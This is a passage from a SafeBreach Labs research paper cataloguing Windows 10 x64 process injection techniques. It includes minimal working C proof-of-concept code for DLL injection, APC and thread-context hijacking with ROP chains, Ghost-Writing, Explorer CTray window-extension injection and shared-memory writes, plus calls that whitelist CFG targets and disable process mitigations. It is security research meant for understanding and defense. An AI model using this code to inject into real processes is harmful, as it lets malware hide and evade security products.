Windows Process Injection in 2019

Amit Klein, Itzik Kotler

Safebreach Labs

Introduction
Process injection in Windows appears to be a well-researched topic, with many techniques now known
and implemented to inject from one process to the other. Process injection is used by malware to gain
more stealth (e.g. run malicious logic in a legitimate process) and to bypass security products (e.g. AV,
DLP and personal firewall solutions) by injecting code that performs sensitive operations (e.g. network
access) to a process which is privileged to do so.

In late 2018, we decided to take a closer look at process injection in Windows. Part of our research
effort was to understand the landscape, with a focus on present-day platforms (Windows 10 x64 1803+,
64-bit processes), and there we came across several problems:

• We could not find a single location with a full list of all injection techniques. There are some
texts that review multiple injection techniques (hat tip to Ashkan Hosseini, EndGame for a nice
collection https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-
technical-survey-common-and-trending-process and to Csaba Fitzl AKA “TheEvilBit” for some
implementations https://github.com/theevilbit/injection), but they’re all very far from capturing
all (or almost all) techniques.
• The texts that describe injection techniques typically lump together “true injection techniques”
(the object of this paper) with other related topics, such as process hollowing and stealthy
process spawning. In this paper, we’re interested only in injection from one 64-bit process
(medium integrity) to another, already running 64-bit process (medium integrity).
• The texts often try to present a complete injection process, therefore mixing writing and
execution techniques, when only one of them is novel.
• Many texts target 32-bit processes, and it was not clear whether they apply to 64-bit processes.
• Many texts target pre-Windows 10 platforms, and it is not clear whether they apply to Windows
10, with its implementation changes and with its new security features.
• Some attacks require privilege elevation, and as such are not interesting.
• The texts that describe process injection lack analysis – discussion of requirements and
limitations, impact of Windows 10 security features, etc.
• The texts usually provide a PoC, but it’s “too well written” – meaning, the PoC checks for return
code, handles errors, handles 32-bit and 64-bit processes, edge conditions, etc. Also, the PoC
implements an end-to-end injection (not just the novel write/execute technique). As such, the
PoC becomes pretty big and difficult to follow.
In this paper, we address all the above issues. We provide the first comprehensive catalogue of true
process injection techniques in Windows. We categorize the individual techniques into write primitives
and execution methods. We test the techniques against 64-bit processes (medium integrity) running on
Windows 10 x64. We test them with and without process protection techniques (CFG, CIG), we analyze
each technique and explain its requirements and limitations. Finally, we provide stripped down,
minimalistic PoC code that works, and at the same time is short enough to clearly show the technique at
hand.

We tried to be as comprehensive as possible, i.e. really cover all different techniques. But of course, this
is a live document, as new techniques will surely be discovered, and as we probably missed a few. We
also tried to give credit to the original inventor of the technique, if we could find one. Again, this is
probably imperfect, and readers are encouraged to send us corrections.

Finally, we get back to our original goal, and describe a new injection technique that inherently bypasses
CFG.

Windows Process injection in 2019

Classes of Injection Techniques

We classify injection techniques as follows:

1. Process spawning – these methods create a process instance of a legitimate executable binary,
and typically modify it before the process starts running. Process spawning is very “noisy” and as
such these techniques are suspicious, and not stealthy.
2. Injecting during process initialization – these methods cause processes that are beginning to
run, to load their code (e.g. AppInit DLLs). Typically these techniques require UAC elevation (due
to writing to privileged registry keys and/or privileged folders). Additionally, such methods are
typically mitigated by the Extension Point Disable Policy.
3. Injecting into running processes (“true process injection”) – these are the most interesting
techniques, which are the focus of this paper.

Injecting into running processes typically involves two sub-techniques: preparing memory in the target
process (which contains the payload – the logic to be run, either as native code, or as ROP chain stack),
and executing logic in the target process.

The present time landscape: Windows 10 64-bit (x64), and new security features

In recent years, Windows 10 (and the x64 hardware platform) gained a lot of popularity. This change of
landscape has a great impact on process injection techniques:

- x64 (vs. x86): In Windows x86, all calling conventions except fastcall place all arguments on the
stack. In x64, the calling convention places the first 4 arguments in registers (RCX, RDX, R8 and
R9), and the remaining arguments on stack. This makes it harder to design a payload for x64,
since such payload must control several registers in order to invoke a function. In x86, a payload
 just needs to correctly arrange the stack in order for a function invocation to succeed.
Theoretically this could have been elegantly handled by the single byte instruction POPA
(opcode 0x61), which pops all data registers from stack, however this instruction is simply not
available in x64 mode.
- New security features: Windows 10 introduced several new process exploitation mitigation
features, which can be controlled via the SetProcessMitigationPolicy API (from the target
process). These are:
o CFG (Control Flow Guard): this is Microsoft’s implementation of the CFI (Control Flow
Integrity) concept for Windows (8.1, 10). The compiler precedes each indirect CALL/JMP
(CALL/JMP reg) with a call to _guard_check_icall to check the validity of the call target.
Validity is also provided by the compiler as a list of 16-byte aligned valid targets per
module (loaded to memory as a “bitmap” for fast access). Both caller module and callee
module must support CFG in order for it to be in effect.
o Dynamic Code prevention: this feature prevents the calling process from calling
VirtualAlloc with PAGE_EXECUTE_*, MapViewOfFile with FILE_MAP_EXECUTE option,
VirtualProtect with PAGE_EXECUTE_* etc. and reconfiguring the CFG bitmap via
SetProcessValidCallTargets (from
https://www.troopers.de/media/filer_public/f6/07/f6076037-85e0-42b7-9a51-
507986edafce/the_joy_of_sandbox_mitigations_export.pdf). Note that for e.g.
VirtualProtectEx, the policy enforced is the policy of the caller process.
o Binary Signature Policy (CIG – Code Integrity Guard): only allow modules signed by
Microsoft/Microsoft Store/WHQL to be loaded into the process memory. A weaker
control is Image Load Policy, which can prevent loading modules from remote locations
or files with low integrity label; This is enforced at the calling process.
o Extension Point Disable Policy: disable “extensions” that load DLLs into the process
space – AppInilt DLLs, Winsock LSP, Global Windows Hooks, IMEs (from
https://theryuu.github.io/ifeo-mitigationoptions.txt).

It should be noted that explorer.exe, the classic injection target, as well as several other native
Windows processes/applications (e.g. Edge’s broker processes) are protected with CFG, and the
Edge broker processes are protected almost to the maximum possible level with the above
techniques.

Defining our scope

Per the above, our interest is in true process injection techniques for Windows 10 x64. Specifically:

• Windows 10 x64 at recent build (1803/1809/1903)

• All processes (injector/malware, target) are 64-bit
• All processes are medium integrity
• Target process is already running (i.e. “true process injection” is needed)
• No privilege elevation required (this rules out AppInit_Dlls, AppCertDlls and shims, as the former
two require writing to privileged registry keys - HKLM\Software\Microsoft and HKLM\System
respectively, and the latter one requires UAC to run sbdinst.exe). Same for AddPrintProcessor,
 AddPrinterDriver and AddMonitor, all of which require the DLL to reside under
C:\Windows\System32.
• Evaluation is done against fully protected process (CFG, CIG, etc.) or vanilla process (where
applicable)

Evaluating Process injection techniques

Bypassing Windows protection mechanisms

Microsoft provides a standard API (SetProcessValidCallTargets) for “whitelisting” (from CFG perspective)
an arbitrary address in the target process. Tal Liberman from EnSilo described its internal
implementation as a call to ntdll!NtSetInformationVirtualMemory with VmInformationClass=
VmCfgCallTargetInformation (https://blog.ensilo.com/documenting-the-undocumented-adding-cfg-
exceptions).
HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, FALSE,
process_id);
MEMORY_BASIC_INFORMATION meminfo;
VirtualQueryEx(p, target, &meminfo, sizeof(meminfo));
CFG_CALL_TARGET_INFO cfg;
cfg.Offset = ((DWORD64)target) - (DWORD64)meminfo.AllocationBase;
cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets(p, meminfo.AllocationBase, meminfo.RegionSize, 1,
&cfg);

We found a simple way to deactivate all other Windows protections (specifically CFG cannot be
deactivated in this manner) for Windows 10 version 1803. Microsoft provides a standard API
(SetProcessMitigationPolicy) for turning on/off these features in the process itself. This function needs
to be run from the target process and provided with 3 arguments – for example,
ProcessDynamicCodePolicy, a pointer to an array of
sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY) zeros, and the size of the said array – which is
sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY). Finding an array of zeros is trivial, e.g. the load
image address of ntdll.dll + 0x20. Running a target function with 3 arguments is possible via invoking
ntdll!NtQueueApcThread.
HANDLE th=OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
ntdll!NtQueueApcThread(th, SetProcessMitigationPolicy,
(void*)ProcessDynamicCodePolicy, ((char*)GetModuleHandleA("ntdll")) + 0x20,
sizeof(PROCESS_MITIGATION_DYNAMIC_CODE_POLICY));

NOTE: this technique stopped working at Windows 10 version 1809 – once protection is set (by
SetProcessMitigationPolicy), it cannot be unset – SetProcessMitigationPolicy returns status
ERROR_ACCESS_DENIED.
Given that CFG can be turned off by the injecting process, why do we need to analyze for CFG? We
anticipate that the mere action of disabling (or attempt to) of a security feature by a process may be
monitored and possibly even prevented by security products. As such, in the future, injecting processes
may prefer to stay away from this exact functionality. Also, at some point in the future, Microsoft may
disable or restrict CFG manipulation (just like they did with SetProcessMitigationPolicy).

Steps in true process injection

Typically, process injection follows these 3 steps:

• Memory allocation
• Memory writing (using a memory write primitive)
• Execution

Sometimes the allocation and memory writing are technically carried out in the same step, using the
same API. Sometimes the memory allocation step is implicit, i.e. the memory is pre-allocated.
Sometimes it is impossible to separate memory writing from execution.

Oftentimes, memory allocation and writing is done multiple times before the execution step.

Evaluation Criteria

We evaluate memory write primitives based on:

• Prerequisites
• Limitations
• CFG/CIG-readiness
• Controlled vs. uncontrolled write address
• Stability

We evaluated execution methods based on:

• Prerequisites
• Limitations
• CFG/CIG-readiness
• Control over registers
• Cleanup required

A note about memory allocation

In general, memory writing primitives require the target memory to be allocated. This can happen in
two ways:
 1. The injector process can invoke VirtualAllocEx (or NtAllocateVirtualMemory) to allocate new
memory in the target process. In such a case, the injector can request this memory to be
readable and/or writable and/or executable. Note that “the default behavior for executable
pages allocated is to be marked valid call targets for CFG” (https://docs.microsoft.com/en-
us/windows/desktop/Memory/memory-protection-constants).
2. The injector process can designate an existing (allocated) memory within the target process, for
overwriting. There are several options:
a. Stack – either the stack in use, or area beyond the TOS. The stack is RW. Writing to the
stack requires addressing several considerations: (i) when writing beyond TOS, it should
be kept in mind that this area may be overwritten by subsequent calls to inner functions
or system functions; (ii) when writing before TOS, it should be kept in mind that this
overwrites existing stack used
b. Image – the data sections of some DLLs contain “spare” allocation beyond the actual
need of the static variables mapped to there. This “cave” is RW, and initialized with
zeros.
c. Heap – any data object allocated on the heap, whose address is known to the injector
process, can be theoretically used (though the memory area may be modified/recycled
as the object is manipulated or destroyed). Again – RW.
VirtualProtectEx can be used to assign different privileges (e.g. execution) to a memory region.
Note that “the default behavior for VirtualProtect [and VirtualProtectEx] protection change to
executable is to mark all locations as valid call targets for CFG”
(https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants).
A notable exception is ntdll!NtMapViewOfSection which can be invoked in such way that it allocates
memory for the section in the target process.

A survey and Analysis of injection techniques

Notation:

• Standard Microsoft Visual Studio coloring scheme

• Bold+italics – user parameters. Specifically:
o payload – an array of bytes in the injecting process, with the data to copy to the target
process
o sizeof(payload) – the size (in bytes) of the payload array
o target_payload – the address, in the injected process, into which the payload is injected
o target_execution – the address, in the injected process, into which control should be
transferred (can be target_payload if it is executable, or a ROP gadget e.g. stack pivot,
pointing RSP to target_payload)
o process_id / thread_id – the target process ID / thread ID to inject to
• Bold (ntdll!NtXXX or ntdll!ZwXXX) – dynamically linked functions (NtXXX/ZwXXX), a shorthand
for fptr=GetProcAddress(GetModuleHandleA(“ntdll”)),function_name); (*fptr)(arguments);
• Yellow background – cleanup code
The techniques (in chronological order, where known):

1. Classic WriteProcessMemory write primitive (prehistoric)

a. Make sure the target address is allocated (e.g. with VirtualAllocEx)
b. Write data or raw code to memory using WriteProcessMemory

Code:
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE,
process_id);
LPVOID target_payload=VirtualAllocEx(h,NULL,sizeof(payload), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Or any other memory allocation technique
WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL);

Evaluation:

o Prerequisites: none
o Limitations: none
o CFG/CIG-readiness: not affected
o Controlled vs. uncontrolled write address: address is fully controlled
o Stability: stable

2. Classic DLL injection execution method (prehistoric)

a. Write a malicious 64-bit DLL to disk, DllMain should contain a bootstrap payload (not
shown).
b. Write memory (DLL path string) using any write primitive, e.g.
VirtualAllocEx(…,PAGE_READWRITE)+WriteProcessMemory (not shown)
c. Load (and execute) the DLL using
CreateRemoteThread(…,LoadLibraryA,DLL_path_string) (internal functions
NtCreateThreadEx and RtlCreateUserThread can also be used)
Variant 1: use QueueUserAPC instead of CreateRemoteThread (thread must be in alertable
state)
Variant 2: Instead of writing the DLL path to the target process memory, find a NUL-terminated
string that looks like a valid path in one of the system DLLs, write the DLL to a file in that name,
and point the LoadLibrary argument to the string. For example, ntdll.dll contains the NUL-
terminated string “\ntdll\ldrsnap.c”, thus placing the DLL in file C:\ntdll\ldrsnap.c (assuming
standard installation of Windows to drive C:) should do the trick.

Code:
HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA,
target_DLL_path, 0, NULL);

Evaluation:
 o Prerequisites: malicious DLL written to disk, memory write primitive, thread in alertable
state (only when using APC)
o Limitations: DllMain code runs in with loader-lock locked, hence some restrictions apply
(https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-best-
practices)
o CFG/CIG-readiness: CIG prevents loading on non-Microsoft signed DLL. An attempt to do
so results in error 0xC0000428 (STATUS_INVALID_IMAGE_HASH – “The hash for image
%hs cannot be found in the system catalogs. The image is likely corrupt or the victim of
tampering.” - https://msdn.microsoft.com/en-us/library/cc704588.aspx)
o Control over registers: none (but typically not a problem due to linking)
o Cleanup required: none

3. CreateRemoteThread execution method (prehistoric)

a. Write raw code to memory using any write primitive.
b. Execute the code using CreateRemoteThread (requires CFG-valid target)

Code:
HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE) target_execution, RCX, 0,
NULL);

Evaluation:

o Prerequisites: target address must be RX at minimum.

o Limitations: none
o CFG/CIG-readiness: target entry point must be CFG-valid.
o Control over registers: RCX
o Cleanup required: none

4. APC execution method (prehistoric)

Thread must be in alertable state (https://docs.microsoft.com/en-
us/windows/desktop/fileio/alertable-i-o), i.e. in one of 5 functions: SleepEx,
WaitForSingleObjectEx, WaitForMultipleObjectsEx, SignalObjectAndWait,
MsgWaitForMultipleObjectsEx (probably RealMsgWaitForMultipleObjectsEx).
a. Write raw code to memory using any write primitive.
b. Execute the code using QueueUserAPC/NtQueueApcThread (requires CFG-allowed
target)

Code:
HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
QueueUserAPC((LPTHREAD_START_ROUTINE)target_execution, h, RCX);
or
 ntdll!NtQueueApcThread(h, (LPTHREAD_START_ROUTINE)target_execution, RCX, RDX, R8);

Evaluation:

o Prerequisites: Target address must be RX (at least). Thread must be in alertable state
o Limitations: none
o CFG/CIG-readiness: target entry point must be CFG-valid.
o Control over registers: RCX (also RDX and R8 if using NtQueueApcThread)
o Cleanup required: none.

5. Thread Execution Hijacking “Suspend-Inject-Resume” execution method (prehistoric?)

a. Write code/data to memory using any write primitive e.g.
VirtualAllocEx(…,PAGE_EXECUTE_READWRITE)+WriteProcessMemory (not shown).
b. Execute the code using SetThreadContext (the thread needs to be suspended and
resumed) – set RIP to point at the code written in step (a) or to a ROP gadget, and
maybe RSP to point at a new stack.
Variant: use NtQueueApcThread(thread,SetThreadContext,-2 /* GetCurrentThread pseudo
handle */,context,NULL) instead of SetThreadContext (thread must be in alertable state)

Code for executable memory:

HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
ctx.Rip = (DWORD64)target_execution;
SetThreadContext(t, &ctx);
ResumeThread(t);

Evaluation:

o Prerequisites: execution target must be RX (at least)

o Limitations: none
o CFG/CIG-readiness: RSP (if set) must be within stack limits (this is enforced by
SetThreadContext)
o Control over registers: see “SetThreadContext anomaly”
o Cleanup required: yes; the original thread needs to resume execution and for that, its
registers and stack must be restored.

The SetThreadContext anomaly: for some processes, the volatile registers (RAX, RCX, RDX, R8-
R11) are set by SetThreadContext, for other processes (e.g. Explorer, Edge) they are ignored.
Best not rely on SetThreadContext to set those registers. Open research question: why does
SetThreadContext behave differently for some processes?
Since there’s no CFG check for SetThreadContext, we can also use ROP gadgets with a non-
executable arbitrary memory (stack). We use a “beyond the TOS” memory cell to store the new
stack address (so as not to modify the original stack).
 Code for non-executable memory (ROP-chain):
HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.Rip = GADGET_pivot; // pop rsp; ret
ctx.Rsp -= 8;
WriteProcessMemory(p, (LPVOID)ctx.Rsp, &new_stack_address, 8, NULL); // Or any
other memory write technique
//make sure stack is 16-byte aligned before the return address; make sure there’s
enough space *below* the entry point for stack used by system calls, etc.

SetThreadContext(t, &ctx);
ResumeThread(t);

Code for non-executable memory (ROP-chain), with cleanup:

void wait_until_done(HANDLE t, DWORD64 expected_rip_value)
{
CONTEXT x;
do
{
Sleep(10);
SuspendThread(t);
x.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(t, &x);
ResumeThread(t);
} while (x.Rip != expected_rip_value);
}

DWORD64 GADGET_loop; // jmp -2

DWORD64 GADGET_pivot; // pop rsp; ret
HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id);
// Save the thread's state
SuspendThread(t);
CONTEXT old_ctx;
old_ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &old_ctx);

// Hijack thread
CONTEXT new_ctx = old_ctx;
new_ctx.Rip = GADGET_pivot;
new_ctx.Rsp -= 8;
WriteProcessMemory(p, (LPVOID)new_ctx.Rsp, &new_stack_address, 8, NULL);
SetThreadContext(t, &new_ctx);
ResumeThread(t);
wait_until_done(t, GADGET_loop);

// Resume execution of original thread logic

SuspendThread(t);
SetThreadContext(t, &old_ctx);
ResumeThread(t);

6. Windows Hook write primitive + execution method (prehistoric)

 a. Write a malicious DLL to disk, DllMain (or hook routine) should contain a bootstrap code
(payload)
b. Call SetWindowsHookEx(…,handle to DLL, thread_id) – this will load the DLL into the
process (thread_id must be a message loop). A less elegant version: set thread_id=0, will
inject to all processes with message loop.

Code:
HMODULE h = LoadLibraryA(dll_path);
HOOKPROC f = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessage hook
SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id);
PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook

Evaluation:

o Prerequisites: malicious DLL written to disk, target process must have user32.dll loaded
(and a message loop thread)
o Limitations: none
o CFG/CIG-readiness: CIG prevents loading on non-Microsoft signed DLL. An attempt to do
so results in error 0xC0000428 (STATUS_INVALID_IMAGE_HASH – “The hash for image
%hs cannot be found in the system catalogs. The image is likely corrupt or the victim of
tampering.” - https://msdn.microsoft.com/en-us/library/cc704588.aspx)
o Control over registers: none (but typically not a problem due to linking)
o Controlled vs. uncontrolled write address: N/A
o Stability: good
o Cleanup required: no

7. SetWinEventHook write primitive + execution method (prehistoric)

The idea is to set up a global (or per-process) in-context hook using SetWinEventHook.
Theoretically, this forces the target process to load the specified DLL and invoke the specified
hook function for the specified range of Windows events. However, in our tests (with Windows
10 version 1903), we could not force the DLL to load at the target process, and all events were
handled in out-of-context fashion. The documentation (https://docs.microsoft.com/en-
us/windows/desktop/api/Winuser/nf-winuser-setwineventhook) does mention that “in some
situations, even if you request WINEVENT_INCONTEXT events, the events will still be delivered
out-of-context“, so perhaps Microsoft moved all events to our-of-context mode in recent
Windows versions.
Bottom line: doesn’t work with recent Windows 10 versions.

8. Ghost-Writing write primitive + execution method (2007)

Invented by “txipi” (http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-
process-without-openning-it-nor-actually-writing-to-it/)
a. Use a series of SetThreadContext calls to manipulate memory (using a simple gadget
that writes one register to the address in another register), and then use that as a ROP
chain.
b. Final step of ROP chain should be restoring the volatile registers.
 Code:
void wait_until_done(HANDLE t, DWORD64 expected_rip_value)
{
CONTEXT x;
do
{
Sleep(10);
SuspendThread(t);
x.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(t, &x);
ResumeThread(t);
}
while (x.Rip != expected_rip_value);
}

DWORD64 GADGET_loop; // jmp -2

DWORD64 GADGET_write; // mov [rdi],rbx; mov rbx, [rsp+0x60]; add rsp,0x50; pop
rdi; ret --- this is WRITE rbx at address rdi (and advance Rsp by 0x58…); note that in
Windows 10 version 1903, the gadget is changed to mov [rdi],rbx; mov rbx, [rsp+0x70];
add rsp,0x60; pop rdi; ret

HANDLE t = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, thread_id);

// Save target thread original state

SuspendThread(t);
CONTEXT old_ctx;
old_ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &old_ctx);

// Prepare new stack in ROP_chain

DWORD64 new_stack_pos = ((old_ctx.Rsp - (sizeof(ROP_chain)+0x60) +8) &

0xFFFFFFFFFFFFFFF0) - 8 ; // make sure stack is 16-byte aligned before the return
address. Use 0x70 in version 1903.

// Write address of GADGET_loop to the target thread stack (used as part of the
Write Primitive)
CONTEXT new_ctx = old_ctx;
new_ctx.Rsp -= 8+0x58; // use 0x68 in version 1903
new_ctx.Rbx = GADGET_loop;
new_ctx.Rdi = new_ctx.Rsp+0x58; // use 0x68 in version 1903
new_ctx.Rip = GADGET_write;
SetThreadContext(t, &new_ctx);
ResumeThread(t);
wait_until_done(t, GADGET_loop);

// Write new stack to target process memory space

for (int i = 0; i < sizeof(ROP_chain)/sizeof(DWORD64); i++)
{
SuspendThread(t);
CONTEXT old_ctx;
old_ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &old_ctx);
CONTEXT new_ctx = old_ctx;
new_ctx.Rsp -= 8+0x58; // use 0x68 in version 1903
 new_ctx.Rbx = ROP_chain[i];
new_ctx.Rdi = new_stack_pos + sizeof(DWORD64)*i;
new_ctx.Rip = GADGET_write;
SetThreadContext(t, &new_ctx);
ResumeThread(t);
wait_until_done(t, GADGET_loop);
}

// Execute code in target thread, moving RSP to new_stack_pos

new_ctx = old_ctx;
new_ctx.Rsp = new_stack_pos;
new_ctx.Rip = (DWORD64)execution_target;
SetThreadContext(t, &new_ctx);
ResumeThread(t);
wait_until_done(t, GADGET_loop);

// Resume original flow in target thread

SuspendThread(t);
SetThreadContext(t, &old_ctx);
ResumeThread(t);

Evaluation:

o Prerequisites: Target address must be RX (at least)

o Limitations: none
o CFG/CIG-readiness: N/A
o Control over registers: non-volatile registers (e.g. RBX). See the SetThreadContext
anomaly above.
o Controlled vs. uncontrolled write address: write address is fully controlled
o Stability: unclear – the cleanup process seems to be tricky
o Cleanup required: yes, this can be tricky if the suspended flow uses volatile registers,
and SetThreadContext does not set them for the target process

9. SetWindowLong/SetWindowLongPtr execution method (2009?)

According to Odzhan (https://modexp.wordpress.com/2018/08/26/process-injection-ctray/),
this technique surfaced in 2009, probably invented by “Indy(Clerk)”.
Encountered in the wild (Gapz, 2012: https://www.welivesecurity.com/wp-
content/uploads/2013/05/CARO_2013.pdf)
This version is Explorer-specific, but possibly there are other processes that can be targeted in a
similar fashion.
a. Write payload to the target memory using any write primitive, e.g.
VirtualAllocEx+WriteProcessMemory. This code/gadget should be CFG-valid. Not shown
in the PoC code.
b. Write a CTray object to the target memory using any write primitive e.g.
WriteProcessMemory. The object should contain ptr1 pointing to ptr2 pointing to the
payload.
c. Obtain a handle to a window of class Shell_TrayWnd (of Explorer.exe),
d. SetWindowLongPtr(handle,0,ptr to object).
 e. Run SendNotifyMessageA(handle, WM_PAINT, 0, 0) to trigger the window extension.

Code (tailored for Explorer.exe):

HWND hWindow = FindWindowA("Shell_TrayWnd", NULL);
DWORD process_id;
GetWindowThreadProcessId(hWindow, &process_id);
// Using VirtualAllocEx+WriteProcessMemory to write payload and obj, but other
memory writing techniques are welcome
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false,
process_id);
DWORD64 obj[2];
LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(obj), MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(obj[1])
obj[1] = (DWORD64)target_execution;
WriteProcessMemory(h, target_obj, obj, sizeof(obj), NULL);
SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj);

Evaluation:

o Prerequisites: A window belonging to the target process, that uses the extra window
bytes to store a pointer to an object with a virtual function table. Specifically, explorer’s
Shell Tray Window uses the first 8 extra window bytes to store a pointer to a CTray
object. Target address must be RX (at least)
o Limitations: none
o CFG/CIG-readiness: the execution target must be CFG-valid.
o Control over registers: none
o Cleanup required: yes. The original CTray object must be restored, and special
consideration must be given for the return state from the function

Cleanup: save the original CTray object address via GetWindowLongPtr(), restore it into RBX in
the payload, set EAX to 2 and return. Also, restore the original pointer (to the original CTray
object).

Full code (with cleanup and payload write), tailored for Explorer.exe:
HWND hWindow = FindWindowA("Shell_TrayWnd", NULL);
DWORD process_id;
GetWindowThreadProcessId(hWindow, &process_id);
DWORD64 old_obj = GetWindowLongPtrA(hWindow, 0);
HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false,
process_id);
// Using VirtualAllocEx+WriteProcessMemory to write payload and obj, but other
memory writing techniques are welcome
LPVOID target_payload = VirtualAllocEx(h, NULL, sizeof(payload), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL); // Make
sure payload sets eax=2 and rbx=old_obj before returning control. Also take care of stack
alignment if calling other functions
DWORD64 new_obj[2];
LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(new_obj), MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE);
new_obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(new_obj[1])
 new_obj[1] = (DWORD64)target_payload;
WriteProcessMemory(h, target_obj, obj, sizeof(new_obj), NULL);
SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj);
SendNotifyMessageA(hWindow, WM_PAINT, 0, 0);
Sleep(1);
SetWindowLongPtrA(hWindow, 0, old_obj);

10. Shared Memory (PowerLoader) write primitive (2013)

Encountered in the wild (PowerLoader).
a. Find a shared memory section in the target process and its size – ideally a fixed name, so
there won’t be any need to find it in real time. For example, explorer.exe has a shared
section called UrlZonesSM_User (size 4KB).
b. Write the payload (ROP chain, etc.) to the shared section, ideally at its end (less likely to
interfere with the usual shared memory functionality).
c. Find the address of the data in the target process by reading its memory using any read
primitive (VirtualQueryEx+ReadProcessMemory). Only need to look at RW sections of
type MEM_MAPPED, whose size is identical to the size provided in (a).

Code:
HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,section_name);
BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size);
memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload));
HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,
process_id);
char* read_buf = new char[sizeof(payload)];
SIZE_T region_size;
for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size)
{
MEMORY_BASIC_INFORMATION mem;
SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem,
sizeof(mem));
if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect
== PAGE_READWRITE) && (mem.RegionSize == section_size))
{
ReadProcessMemory(h, (LPCVOID)(address+section_size-
sizeof(payload)), read_buf, sizeof(payload), NULL);
if (memcmp(read_buf, payload, sizeof(payload)) == 0)
{
// the payload is at address + section_size - sizeof(payload);
…
break;
}
}
region_size = mem.RegionSize;
}

Evaluation:

o Prerequisites: process must use RW shared memory section

o Limitations: none
o CFG/CIG-readiness: not affected
 o Controlled vs. uncontrolled write address: data will be written to a non-controlled
address (e.g. can’t write to stack)
o Stability: may be problematic if the entire section is used (SuspendProcess may be
required)

11. Window extension (Desktop Heap) write primitive (2015)

Encountered in the wild (PowerLoaderEx - https://www.slideshare.net/enSilo/injection-on-
steroids-codeless-code-injection-and-0day-techniques)
The concept is based on the Desktop Heap being shared (in user space) among all processes in
the same Windows desktop. Therefore, “writing” arbitrary data to the Desktop heap in the
injector process (by defining a window class with cbWndExtra>0 and using SetWindowsLongPtr
to write there) results in the data appearing in the memory space of the target process
(allegedly in fixed offset w.r.t. the Desktop Heap memory region base address). Finding the
Desktop Heap in the target process is allegedly a matter of finding a memory region (using
VirtualQueryEx) satisfying some conditions. EnSilo provides a PoC at
https://github.com/BreakingMalware/PowerLoaderEx/blob/master/PowerLoaderEx.cpp. It
seems that with Windows 10 64-bit (at least in build 1809), changes were made to the Desktop
Heap implementation. Apparently, A process’s user space memory no longer contains the
objects from other processes, thus rendering the technique ineffective.
Bottom line: doesn’t work on Windows 10 (at least on build 1809)

12. Atom bombing write primitive (2016)

Invented by Tal Liberman, Ensilo (https://blog.ensilo.com/atombombing-brand-new-code-
injection-for-windows).
a. Split the payload into NUL-terminated strings
b. Create an Atom for each one (GlobalAddAtom). Note: Atom cannot represent a 0-length
string
c. Copy the strings to the target process memory using NtQueueApcThread(thread,
GlobalGetAtomName, atom,target_address,size).

